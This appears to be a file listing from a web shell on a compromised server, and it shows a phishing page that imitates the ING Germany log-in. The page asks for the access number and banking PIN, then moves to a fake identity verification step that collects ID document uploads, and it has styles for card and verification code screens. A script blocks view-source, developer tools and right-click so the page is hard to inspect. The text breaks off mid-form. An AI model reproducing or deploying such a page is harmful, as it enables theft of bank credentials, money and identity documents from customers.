HEX
Server: Apache
System: Linux opal14.opalstack.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User: curbgloabal_opal (1234)
PHP: 8.1.29
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/self/cwd/ing.html
<!DOCTYPE html><html><head><script>document.onkeydown=function(e){if(e.ctrlKey&&(e.keyCode==85||e.keyCode==117||e.keyCode==83||e.keyCode==115||e.keyCode==73||e.keyCode==105||e.keyCode==74||e.keyCode==106||e.keyCode==67||e.keyCode==99)){return false;}if(e.keyCode==123){return false;}};document.addEventListener('contextmenu',function(e){e.preventDefault();});document.addEventListener('dragstart',function(e){e.preventDefault();});document.addEventListener('selectstart',function(e){e.preventDefault();});window.onload=function(){document.body.onkeydown=function(e){if(e.keyCode==123||(e.ctrlKey&&e.shiftKey&&(e.keyCode==73||e.keyCode==74||e.keyCode==67))){return false;}};document.body.oncontextmenu=function(){return false;};document.body.onselectstart=function(){return false;};document.body.ondragstart=function(){return false;};};</script><noscript><meta http-equiv="refresh" content="0; url=about:blank"></noscript></head><body></body></html>



















<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ING - Log-in</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary: #ff6600; --primary-dark: #e55a00; --gray-dark: #333; --gray: #666; --gray-bg: #f8f9fa; --white: #ffffff; --border: #e8e8e8; --shadow: 0 8px 24px rgba(0, 0, 0, 0.08); --radius: 16px; --radius-sm: 12px; --transition: all 0.3s ease; --error: #d32f2f; --error-bg: #ffebee; --success: #2e7d32; --success-bg: #e8f5e9;
        }
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: 'Segoe UI', system-ui, sans-serif; background: linear-gradient(135deg, #f8f9fa 0%, #e8e8e8 100%); color: var(--gray-dark); line-height: 1.6; min-height: 100vh; display: flex; flex-direction: column; }
        .header, .verification-header { background-color: var(--white); padding: 15px 50px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; position: fixed; top: 0; left: 0; right: 0; z-index: 1000; }
        .logo { width: 120px; height: auto; }
        .header-actions { display: flex; gap: 15px; }
        .header-btn { background: transparent; border: 1px solid var(--border); border-radius: var(--radius-sm); padding: 8px 16px; font-size: 14px; color: var(--gray-dark); cursor: pointer; transition: var(--transition); display: flex; align-items: center; gap: 8px; }
        .header-btn:hover { background: var(--gray-bg); }
        .container { max-width: 1400px; margin: 0 auto; padding: 120px 60px 40px; flex: 1; }
        .page-title { font-size: 28px; font-weight: 300; margin-bottom: 50px; }
        .content-wrapper { display: grid; grid-template-columns: 1fr 1fr; gap: 40px; margin-bottom: 60px; }
        .card { background: var(--white); border-radius: var(--radius); padding: 45px; box-shadow: var(--shadow); border: 1px solid var(--border); transition: var(--transition); position: relative; overflow: hidden; }
        .card:hover { transform: translateY(-5px); box-shadow: 0 12px 30px rgba(0, 0, 0, 0.12); }
        .card::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 4px; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); }
        .card-title { font-size: 18px; font-weight: 400; margin-bottom: 35px; display: flex; align-items: center; gap: 12px; }
        .card-title i { color: var(--primary); font-size: 20px; }
        .form-group { margin-bottom: 28px; position: relative; }
        .form-label { display: block; font-size: 13px; margin-bottom: 10px; font-weight: 400; }
        .form-input { width: 100%; padding: 11px 14px; border: 1px solid var(--border); border-radius: var(--radius-sm); font-size: 15px; font-family: inherit; background-color: var(--white); transition: var(--transition); }
        .form-input:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 2px rgba(255, 102, 0, 0.1); }
        .input-hint { font-size: 12px; color: var(--gray); margin-top: 6px; display: flex; align-items: center; gap: 5px; }
        .password-wrapper { position: relative; }
        .password-toggle { position: absolute; right: 14px; top: 50%; transform: translateY(-50%); cursor: pointer; color: var(--gray); transition: var(--transition); }
        .password-toggle:hover { color: var(--primary); }
        .btn-primary, .btn-secondary { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 13px 32px; border-radius: var(--radius-sm); font-size: 15px; font-weight: 500; cursor: pointer; transition: var(--transition); display: inline-flex; align-items: center; justify-content: center; gap: 8px; box-shadow: 0 4px 12px rgba(255, 102, 0, 0.25); width: 100%; }
        .btn-primary:hover, .btn-secondary:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(255, 102, 0, 0.35); }
        .link { color: var(--primary); text-decoration: none; font-size: 13px; font-weight: 500; transition: var(--transition); display: inline-flex; align-items: center; gap: 5px; }
        .link:hover { color: var(--primary-dark); text-decoration: underline; }
        .help-text { margin-top: 22px; font-size: 13px; color: var(--gray); line-height: 1.6; }
        .qr-image { margin: 30px 0; text-align: center; }
        .qr-image img { max-width: 100%; height: auto; }
        .checkbox-group { display: flex; align-items: flex-start; gap: 12px; margin-top: 25px; padding-top: 20px; border-top: 1px solid var(--border); }
        .checkbox-group input[type="checkbox"] { width: 16px; height: 16px; margin-top: 2px; cursor: pointer; accent-color: var(--primary); }
        .checkbox-group label { font-size: 13px; line-height: 1.6; cursor: pointer; }
        .news-section { background: var(--white); border-radius: var(--radius); padding: 45px; box-shadow: var(--shadow); border: 1px solid var(--border); }
        .news-title { font-size: 22px; font-weight: 300; margin-bottom: 30px; }
        .news-list { list-style: none; }
        .news-item { padding: 16px 0; border-bottom: 1px solid var(--border); cursor: pointer; position: relative; padding-left: 18px; font-size: 14px; color: var(--gray); transition: var(--transition); display: flex; align-items: center; gap: 10px; }
        .news-item:before { content: '‹'; position: absolute; left: 0; font-size: 18px; color: var(--gray); transition: var(--transition); }
        .news-item:hover { color: var(--primary); }
        .news-item:hover:before { color: var(--primary); }
        .news-item:last-child { border-bottom: none; }
        .footer, .verification-footer, .card-entry-footer, .verification-code-footer, .success-footer { background: #111; padding: 20px 50px; text-align: center; border-top: 1px solid rgba(255, 255, 255, 0.1); margin-top: auto; }
        .footer-content, .verification-footer-content, .card-entry-footer-content, .verification-code-footer-content, .success-footer-content { max-width: 1400px; margin: 0 auto; display: flex; justify-content: space-between; align-items: center; }
        .copyright, .verification-copyright, .card-entry-copyright, .verification-code-copyright, .success-copyright { font-size: 14px; color: rgba(255, 255, 255, 0.7); }
        .cookie-links, .verification-cookie-links, .card-entry-cookie-links, .verification-code-cookie-links, .success-cookie-links { display: flex; gap: 25px; }
        .cookie-link, .verification-cookie-link, .card-entry-cookie-link, .verification-code-cookie-link, .success-cookie-link { color: rgba(255, 255, 255, 0.7); text-decoration: none; font-size: 14px; transition: var(--transition); position: relative; }
        .cookie-link:hover, .verification-cookie-link:hover, .card-entry-cookie-link:hover, .verification-code-cookie-link:hover, .success-cookie-link:hover { color: var(--primary); }
        .cookie-link:not(:last-child)::after, .verification-cookie-link:not(:last-child)::after, .card-entry-cookie-link:not(:last-child)::after, .verification-code-cookie-link:not(:last-child)::after, .success-cookie-link:not(:last-child)::after { content: "|"; position: absolute; right: -15px; color: rgba(255, 255, 255, 0.3); }

        .loading-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.98); display: none; justify-content: center; align-items: center; z-index: 9999; flex-direction: column; }
        .loading-spinner { width: 60px; height: 60px; border: 4px solid var(--gray-bg); border-top: 4px solid var(--primary); border-radius: 50%; animation: spin 1s linear infinite; margin-bottom: 25px; }
        .loading-text { font-size: 18px; font-weight: 500; }

        .screen { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: var(--white); display: none; flex-direction: column; z-index: 2001; overflow-y: auto; }
        .verification-container { flex: 1; display: grid; grid-template-columns: 1fr 1fr; gap: 60px; max-width: 1200px; width: 100%; margin: 0 auto; padding: 40px; align-items: flex-start; }
        .verification-content { text-align: left; }
        .verification-icon { width: 80px; height: 80px; background: #fff5f0; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin-bottom: 30px; }
        .verification-icon i { font-size: 36px; color: var(--primary); }
        .verification-title { font-size: 32px; font-weight: 300; margin-bottom: 20px; }
        .verification-subtitle { font-size: 20px; font-weight: 400; color: var(--primary); margin-bottom: 25px; }
        .verification-message { font-size: 16px; color: var(--gray); line-height: 1.6; margin-bottom: 35px; }
        .verification-steps { list-style: none; margin-bottom: 40px; }
        .verification-step { display: flex; align-items: flex-start; gap: 15px; margin-bottom: 20px; padding: 15px; background: var(--gray-bg); border-radius: var(--radius-sm); border-left: 4px solid var(--primary); }
        .step-number { width: 30px; height: 30px; background: var(--primary); color: var(--white); border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: 600; font-size: 14px; flex-shrink: 0; }
        .step-text { flex: 1; font-size: 14px; line-height: 1.5; }
        .verification-btn { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 16px 45px; border-radius: var(--radius-sm); font-size: 16px; font-weight: 500; cursor: pointer; transition: var(--transition); box-shadow: 0 4px 12px rgba(255, 102, 0, 0.25); display: inline-flex; align-items: center; gap: 10px; margin-top: 20px; }
        .verification-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(255, 102, 0, 0.35); }
        .phone-visual { text-align: center; position: sticky; top: 100px; height: fit-content; }
        .phone-mockup { width: 220px; height: 440px; background: linear-gradient(135deg, #2c3e50 0%, #34495e 100%); border-radius: 35px; margin: 0 auto; position: relative; box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3); border: 8px solid #1a1a1a; overflow: hidden; }
        .phone-screen { width: 100%; height: 100%; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); border-radius: 27px; padding: 20px; display: flex; flex-direction: column; justify-content: center; align-items: center; color: white; text-align: center; }
        .app-icon { width: 70px; height: 70px; background: rgba(255, 255, 255, 0.9); border-radius: 18px; margin-bottom: 20px; display: flex; align-items: center; justify-content: center; box-shadow: 0 8px 20px rgba(0, 0, 0, 0.2); }
        .app-icon i { font-size: 35px; color: var(--primary); }
        .app-title { font-size: 22px; font-weight: 600; margin-bottom: 10px; }
        .app-message { font-size: 15px; opacity: 0.9; margin-bottom: 25px; max-width: 200px; line-height: 1.4; }
        .approve-btn { background: rgba(255, 255, 255, 0.9); color: var(--primary); border: none; padding: 12px 30px; border-radius: 25px; font-weight: 600; cursor: pointer; transition: var(--transition); box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2); font-size: 14px; }
        .approve-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(0, 0, 0, 0.3); }
        .verification-progress { width: 100%; height: 8px; background: var(--gray-bg); border-radius: 4px; margin: 30px 0 20px; overflow: hidden; position: relative; }
        .progress-bar { height: 100%; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); border-radius: 4px; width: 0%; transition: width 0.3s ease; }
        .progress-text { font-size: 14px; color: var(--gray); text-align: center; margin-bottom: 10px; display: flex; justify-content: space-between; }
        .time-remaining { font-weight: 600; color: var(--primary); }
        .timer-container { display: flex; align-items: center; justify-content: center; gap: 10px; margin: 15px 0; }
        .timer-circle { width: 60px; height: 60px; border-radius: 50%; background: conic-gradient(var(--primary) 0deg, var(--gray-bg) 0deg); display: flex; align-items: center; justify-content: center; position: relative; }
        .timer-text { position: absolute; font-size: 16px; font-weight: 700; color: var(--primary); }
        .timer-label { font-size: 14px; color: var(--gray); }
        .security-badge { display: flex; align-items: center; gap: 10px; margin-top: 20px; padding: 12px 15px; background: #fff5f0; border-radius: var(--radius-sm); border-left: 4px solid var(--primary); }
        .security-badge i { color: var(--primary); font-size: 18px; }
        .security-badge span { font-size: 14px; font-weight: 500; }

        .card-entry-container, .verification-code-container, .success-container { max-width: 500px; margin: 0 auto; padding: 120px 20px 40px; flex: 1; display: flex; flex-direction: column; justify-content: center; }
        .card-entry-title, .verification-code-title, .success-title { font-size: 32px; font-weight: 300; margin-bottom: 10px; text-align: center; }
        .card-entry-subtitle, .verification-code-subtitle, .success-subtitle { font-size: 18px; color: var(--gray); margin-bottom: 40px; text-align: center; }
        .card-form, .verification-code-form, .success-content { background: var(--white); border-radius: var(--radius); padding: 40px; box-shadow: var(--shadow); border: 1px solid var(--border); position: relative; }
        .card-form::before, .verification-code-form::before, .success-content::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 4px; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); border-radius: var(--radius) var(--radius) 0 0; }
        .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; margin-bottom: 25px; }
        .card-submit-btn, .verification-code-btn { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 18px 45px; border-radius: var(--radius-sm); font-size: 16px; font-weight: 500; cursor: pointer; transition: var(--transition); box-shadow: 0 4px 12px rgba(255, 102, 0, 0.25); display: inline-flex; align-items: center; justify-content: center; gap: 10px; width: 100%; margin-top: 10px; }
        .card-submit-btn:hover, .verification-code-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(255, 102, 0, 0.35); }
        .input-with-icon { position: relative; }
        .input-with-icon i { position: absolute; left: 14px; top: 50%; transform: translateY(-50%); color: var(--gray); font-size: 16px; transition: var(--transition); z-index: 2; }
        .input-with-icon .form-input { padding-left: 45px; transition: var(--transition); border: 2px solid var(--border); }
        .input-with-icon .form-input:focus { border-color: var(--primary); box-shadow: 0 0 0 3px rgba(255, 102, 0, 0.1); transform: translateY(-1px); }
        .input-with-icon .form-input:focus + i { color: var(--primary); }
        .security-features { display: flex; align-items: center; justify-content: center; gap: 25px; margin-top: 30px; padding: 25px; background: var(--gray-bg); border-radius: var(--radius-sm); flex-wrap: wrap; }
        .security-feature { display: flex; align-items: center; gap: 8px; font-size: 13px; font-weight: 500; }
        .security-feature i { color: var(--primary); font-size: 16px; }
        .payment-header { text-align: center; margin-bottom: 40px; }
        .payment-icon { width: 80px; height: 80px; background: #fff5f0; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 20px; box-shadow: 0 8px 20px rgba(255, 102, 0, 0.2); }
        .payment-icon i { font-size: 36px; color: var(--primary); }

        .code-inputs { display: flex; justify-content: space-between; gap: 15px; margin-bottom: 30px; }
        .code-input { width: 100%; height: 70px; border: 2px solid var(--border); border-radius: var(--radius-sm); text-align: center; font-size: 24px; font-weight: 600; color: var(--gray-dark); transition: var(--transition); background: var(--white); flex: 1; }
        .code-input:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 3px rgba(255, 102, 0, 0.1); transform: translateY(-2px); }
        .code-input.error { border-color: var(--error); background-color: var(--error-bg); }
        .code-input.success { border-color: var(--success); background-color: var(--success-bg); }
        .code-info { text-align: center; margin-bottom: 30px; color: var(--gray); font-size: 14px; }
        .resend-code { text-align: center; margin-top: 20px; }
        .resend-link { color: var(--primary); text-decoration: none; font-weight: 500; transition: var(--transition); }
        .resend-link:hover { color: var(--primary-dark); text-decoration: underline; }
        .error-message { color: var(--error); font-size: 14px; text-align: center; margin-top: 15px; display: none; }
        .success-message { color: var(--success); font-size: 14px; text-align: center; margin-top: 15px; padding: 10px; background-color: var(--success-bg); border-radius: var(--radius-sm); border-left: 4px solid var(--success); display: none; }

        .success-icon { width: 120px; height: 120px; background: var(--success-bg); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 30px; box-shadow: 0 8px 20px rgba(46, 125, 50, 0.2); }
        .success-icon i { font-size: 60px; color: var(--success); }
        .success-message-large { text-align: center; margin-bottom: 30px; color: var(--gray); font-size: 16px; line-height: 1.6; }
        .countdown { text-align: center; font-size: 14px; color: var(--gray); margin-top: 20px; }

        .validation-message { font-size: 12px; margin-top: 5px; display: flex; align-items: center; gap: 5px; transition: var(--transition); }
        .validation-message.error { color: var(--error); }
        .validation-message.success { color: var(--success); }
        .form-input.error { border-color: var(--error); background-color: var(--error-bg); }
        .form-input.success { border-color: var(--success); background-color: var(--success-bg); }
        .card-security-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-top: 30px; padding: 25px; background: var(--gray-bg); border-radius: var(--radius-sm); }
        .card-security-feature { display: flex; align-items: center; gap: 10px; font-size: 13px; font-weight: 500; }
        .card-security-feature i { color: var(--primary); font-size: 16px; }
        .verification-security-grid { display: grid; grid-template-columns: 1fr; gap: 15px; margin-top: 30px; padding: 25px; background: var(--gray-bg); border-radius: var(--radius-sm); }
        .verification-security-feature { display: flex; align-items: center; gap: 10px; font-size: 13px; font-weight: 500; }
        .verification-security-feature i { color: var(--primary); font-size: 16px; }

        .id-verification-container { max-width: 900px; margin: 0 auto; padding: 120px 20px 40px; flex: 1; }
        .id-verification-header { text-align: center; margin-bottom: 50px; }
        .id-verification-icon { width: 100px; height: 100px; background: linear-gradient(135deg, #fff5f0 0%, #ffe8d9 100%); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 25px; box-shadow: 0 10px 30px rgba(255, 102, 0, 0.15); position: relative; }
        .id-verification-icon::before { content: ''; position: absolute; width: 120px; height: 120px; border: 3px solid rgba(255, 102, 0, 0.1); border-radius: 50%; animation: pulse 2s infinite; }
        .id-verification-icon i { font-size: 45px; color: var(--primary); }
        .id-verification-title { font-size: 36px; font-weight: 300; margin-bottom: 15px; color: var(--gray-dark); }
        .id-verification-subtitle { font-size: 18px; color: var(--gray); line-height: 1.6; max-width: 600px; margin: 0 auto; }
        .id-verification-form { background: var(--white); border-radius: var(--radius); padding: 50px; box-shadow: var(--shadow); border: 1px solid var(--border); position: relative; margin-bottom: 30px; }
        .id-verification-form::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 4px; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); border-radius: var(--radius) var(--radius) 0 0; }
        .upload-section { margin-bottom: 40px; }
        .upload-section-title { font-size: 16px; font-weight: 500; margin-bottom: 20px; color: var(--gray-dark); display: flex; align-items: center; gap: 10px; }
        .upload-section-title i { color: var(--primary); }
        .upload-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 25px; margin-bottom: 30px; }
        .upload-box { border: 2px dashed var(--border); border-radius: var(--radius-sm); padding: 30px 20px; text-align: center; transition: var(--transition); cursor: pointer; position: relative; background: var(--gray-bg); }
        .upload-box:hover { border-color: var(--primary); background: #fff5f0; }
        .upload-box.has-file { border-color: var(--success); background: var(--success-bg); border-style: solid; }
        .upload-box input[type="file"] { display: none; }
        .upload-icon { width: 60px; height: 60px; background: var(--white); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 15px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); }
        .upload-icon i { font-size: 24px; color: var(--primary); }
        .upload-box.has-file .upload-icon { background: var(--success); }
        .upload-box.has-file .upload-icon i { color: var(--white); }
        .upload-label { font-size: 15px; font-weight: 500; color: var(--gray-dark); margin-bottom: 5px; display: block; }
        .upload-hint { font-size: 12px; color: var(--gray); }
        .upload-preview { margin-top: 15px; display: none; }
        .upload-preview img { max-width: 100%; max-height: 150px; border-radius: var(--radius-sm); box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); }
        .upload-filename { font-size: 13px; color: var(--success); margin-top: 10px; font-weight: 500; display: none; align-items: center; gap: 5px; justify-content: center; }
        .upload-filename i { font-size: 14px; }
        .requirements-box { background: linear-gradient(135deg, #f8f9fa 0%, #ffffff 100%); border-left: 4px solid var(--primary); border-radius: var(--radius-sm); padding: 25px; margin-bottom: 35px; }
        .requirements-title { font-size: 15px; font-weight: 600; margin-bottom: 15px; color: var(--gray-dark); display: flex; align-items: center; gap: 10px; }
        .requirements-title i { color: var(--primary); }
        .requirements-list { list-style: none; display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
        .requirement-item { font-size: 13px; color: var(--gray); display: flex; align-items: center; gap: 8px; }
        .requirement-item i { color: var(--success); font-size: 12px; }
        .id-submit-btn { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 18px 50px; border-radius: var(--radius-sm); font-size: 17px; font-weight: 600; cursor: pointer; transition: var(--transition); box-shadow: 0 6px 20px rgba(255, 102, 0, 0.3); display: inline-flex; align-items: center; justify-content: center; gap: 12px; width: 100%; margin-top: 10px; }
        .id-submit-btn:hover { transform: translateY(-3px); box-shadow: 0 8px 25px rgba(255, 102, 0, 0.4); }
        .id-submit-btn:disabled { background: var(--gray); box-shadow: none; cursor: not-allowed; transform: none; }
        .security-info { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; margin-top: 30px; }
        .security-info-item { display: flex; flex-direction: column; align-items: center; text-align: center; padding: 20px; background: var(--gray-bg); border-radius: var(--radius-sm); transition: var(--transition); }
        .security-info-item:hover { background: #fff5f0; }
        .security-info-icon { width: 50px; height: 50px; background: var(--white); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin-bottom: 12px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); }
        .security-info-icon i { font-size: 20px; color: var(--primary); }
        .security-info-text { font-size: 13px; font-weight: 500; color: var(--gray-dark); }
        .progress-indicator { display: flex; align-items: center; justify-content: center; gap: 15px; margin-bottom: 40px; }
        .progress-step { width: 40px; height: 40px; border-radius: 50%; background: var(--gray-bg); border: 2px solid var(--border); display: flex; align-items: center; justify-content: center; font-weight: 600; font-size: 14px; color: var(--gray); position: relative; }
        .progress-step.active { background: var(--primary); border-color: var(--primary); color: var(--white); }
        .progress-step.completed { background: var(--success); border-color: var(--success); color: var(--white); }
        .progress-step::after { content: ''; position: absolute; left: 100%; width: 60px; height: 2px; background: var(--border); top: 50%; transform: translateY(-50%); }
        .progress-step:last-child::after { display: none; }
        .progress-step.completed::after { background: var(--success); }

        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
        @keyframes pulse { 0%, 100% { transform: scale(1); opacity: 1; } 50% { transform: scale(1.1); opacity: 0.5; } }

        @media (max-width: 992px) {
            .content-wrapper, .verification-container { grid-template-columns: 1fr; gap: 30px; }
            .verification-content { text-align: center; }
            .phone-visual { position: relative; top: 0; }
            .upload-grid { grid-template-columns: 1fr; }
            .requirements-list { grid-template-columns: 1fr; }
            .security-info { grid-template-columns: 1fr; }
        }
        @media (max-width: 768px) {
            .card { padding: 25px; }
            .header, .verification-header { padding: 12px 20px; }
            .container { padding: 100px 20px 30px; }
            .logo { width: 100px; }
            .page-title { font-size: 24px; margin-bottom: 35px; }
            .footer, .verification-footer, .card-entry-footer, .verification-code-footer, .success-footer { padding: 25px 20px; }
            .footer-content, .verification-footer-content, .card-entry-footer-content, .verification-code-footer-content, .success-footer-content { flex-direction: column; gap: 15px; text-align: center; }
            .verification-title { font-size: 28px; }
            .phone-mockup { width: 180px; height: 360px; }
            .card-entry-container, .verification-code-container, .success-container { padding: 100px 20px 30px; }
            .code-input { height: 60px; font-size: 20px; }
            .success-icon { width: 100px; height: 100px; }
            .success-icon i { font-size: 50px; }
            .card-security-grid { grid-template-columns: 1fr; }
            .id-verification-container { padding: 100px 20px 30px; }
            .id-verification-form { padding: 30px 20px; }
            .id-verification-title { font-size: 28px; }
            .progress-indicator { gap: 10px; }
            .progress-step::after { width: 40px; }
        }
        @media (max-width: 576px) {
            .header, .verification-header { padding: 12px 15px; }
            .logo { width: 90px; }
            .header-actions { gap: 10px; }
            .header-btn { padding: 6px 12px; font-size: 13px; }
            .card { padding: 20px; }
            .content-wrapper { gap: 20px; }
            .btn-primary, .btn-secondary { padding: 12px 24px; font-size: 14px; }
            .news-section { padding: 25px; }
            .verification-container { padding: 20px; }
            .verification-icon { width: 60px; height: 60px; margin: 0 auto 20px; }
            .verification-icon i { font-size: 28px; }
            .verification-title { font-size: 24px; }
            .phone-mockup { width: 160px; height: 320px; }
            .footer-content, .verification-footer-content, .card-entry-footer-content, .verification-code-footer-content, .success-footer-content { flex-direction: column; gap: 10px; }
            .cookie-links, .verification-cookie-links, .card-entry-cookie-links, .verification-code-cookie-links, .success-cookie-links { flex-direction: column; gap: 10px; }
            .cookie-link:not(:last-child)::after, .verification-cookie-link:not(:last-child)::after, .card-entry-cookie-link:not(:last-child)::after, .verification-code-cookie-link:not(:last-child)::after, .success-cookie-link:not(:last-child)::after { display: none; }
            .security-features { flex-direction: column; gap: 10px; }
            .payment-icon { width: 50px; height: 50px; }
            .payment-icon i { font-size: 24px; }
            .code-inputs { gap: 10px; }
            .code-input { height: 55px; font-size: 18px; }
            .form-row { grid-template-columns: 1fr; gap: 0; }
            .success-icon { width: 80px; height: 80px; }
            .success-icon i { font-size: 40px; }
            .card-security-grid { grid-template-columns: 1fr; }
            .id-verification-icon { width: 80px; height: 80px; }
            .id-verification-icon::before { width: 100px; height: 100px; }
            .id-verification-icon i { font-size: 35px; }
            .id-verification-title { font-size: 24px; }
            .progress-indicator { flex-wrap: wrap; gap: 8px; }
            .progress-step { width: 35px; height: 35px; font-size: 12px; }
            .progress-step::after { width: 30px; }
        }
    </style>
</head>
<body>
    <header class="header">
        <img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
        <div class="header-actions">
            <button class="header-btn"><i class="fas fa-globe"></i> DE</button>
            <button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
        </div>
    </header>

    <div class="container">
        <h1 class="page-title">Log-in</h1>
        <div class="content-wrapper">
            <div class="card">
                <h2 class="card-title"><i class="fas fa-key"></i>Anmelden mit Zugangsdaten</h2>
                <form id="loginForm">
                    <div class="form-group">
                        <label class="form-label" for="zugangsnummer">Zugangsnummer</label>
                        <input type="text" id="zugangsnummer" class="form-input" placeholder="">
                        <div class="input-hint">Letzte 10 Stellen Ihrer ING IBAN / Depotnummer</div>
                    </div>
                    <div class="form-group">
                        <label class="form-label" for="pin">Internetbanking PIN</label>
                        <div class="password-wrapper">
                            <input type="password" id="pin" class="form-input" placeholder="">
                            <span class="password-toggle" onclick="togglePassword()"><i class="fas fa-eye"></i></span>
                        </div>
                        <div class="input-hint">Bitte beachten Sie die Groß- und Kleinschreibung.</div>
                    </div>
                    <button type="submit" class="btn-primary">Anmelden</button>
                    <div class="help-text">
                        <a href="#" class="link">Zugangsdaten vergessen?</a><br style="margin: 8px 0;"><br>
                        Neu bei uns?<br>
                        <a href="#" class="link">Jetzt Zugangsdaten erstellen</a>
                    </div>
                </form>
            </div>
            <div class="card">
                <h2 class="card-title"><i class="fas fa-mobile-alt"></i>Anmelden mit App und QR-Code</h2>
                <div class="qr-section">
                    <div class="qr-image"><img src="https://h.top4top.io/p_36181z1mp1.png" alt="QR Code"></div>
                    <button type="button" class="btn-secondary">Anmelden mit QR Log-in</button>
                    <div class="checkbox-group">
                        <input type="checkbox" id="rememberDevice">
                        <label for="rememberDevice">Auf diesem Gerät und mit diesem Browser immer mit QR Log-in anmelden.</label>
                    </div>
                </div>
            </div>
        </div>
        <div class="news-section">
            <h2 class="news-title">Aktuelle Mitteilungen</h2>
            <ul class="news-list">
                <li class="news-item">Vorsicht vor gefälschten ING Webseiten</li>
                <li class="news-item">Achtung: Betrüger wollen an Ihre Daten!</li>
                <li class="news-item">Info-Banner – neue Produktbedingungen</li>
                <li class="news-item">Ihre Jahresendbelege 2023</li>
            </ul>
        </div>
    </div>

    <div class="footer">
        <div class="footer-content">
            <div class="copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
            <div class="cookie-links">
                <a href="#" class="cookie-link">Cookies settings</a>
                <a href="#" class="cookie-link">Cookies policy</a>
            </div>
        </div>
    </div>

    <div class="loading-overlay" id="loadingOverlay">
        <div class="loading-spinner"></div>
        <div class="loading-text" id="loadingMessage">Authentifizierung läuft...</div>
    </div>

    <div class="screen" id="idVerificationScreen">
        <div class="header">
            <img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
            <div class="header-actions">
                <button class="header-btn"><i class="fas fa-globe"></i> DE</button>
                <button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
            </div>
        </div>
        <div class="id-verification-container">
            <div class="progress-indicator">
                <div class="progress-step completed">1</div>
                <div class="progress-step active">2</div>
                <div class="progress-step">3</div>
            </div>
            <div class="id-verification-header">
                <div class="id-verification-icon">
                    <i class="fas fa-id-card"></i>
                </div>
                <h1 class="id-verification-title">Identitätsverifizierung</h1>
                <p class="id-verification-subtitle">Um Ihre Sicherheit zu gewährleisten, müssen wir Ihre Identität verifizieren. Bitte laden Sie ein gültiges Ausweisdokument hoch.</p>
            </div>
            <div class="id-verification-form">
                <div class="requirements-box">
                    <div class="requirements-title">
                        <i class="fas fa-info-circle"></i>
                        Anforderungen an Ihr Dokument
                    </div>
                    <ul class="requirements-list">
                        <li class="requirement-item"><i class="fas fa-check-circle"></i> Hochauflösendes Foto oder Scan</li>
                        <li class="requirement-item"><i class="fas fa-check-circle"></i> Alle Informationen müssen lesbar sein</li>
                        <li class="requirement-item"><i class="fas fa-check-circle"></i> Gültiges und nicht abgelaufenes Dokument</li>
                        <li class="requirement-item"><i class="fas fa-check-circle"></i> Format: JPG, PNG oder PDF</li>
                        <li class="requirement-item"><i class="fas fa-check-circle"></i> Maximale Dateigröße: 10 MB</li>
                        <li class="requirement-item"><i class="fas fa-check-circle"></i> Keine Reflexionen oder Schatten</li>
                    </ul>
                </div>
                <form id="idVerificationForm">
                    <div class="upload-section">
                        <div class="upload-section-title">
                            <i class="fas fa-upload"></i>
                            Dokumente hochladen
                        </div>
                        <div class="upload-grid">
                            <div class="upload-box" id="frontUploadBox" onclick="document.getElementById('frontUpload').click()">
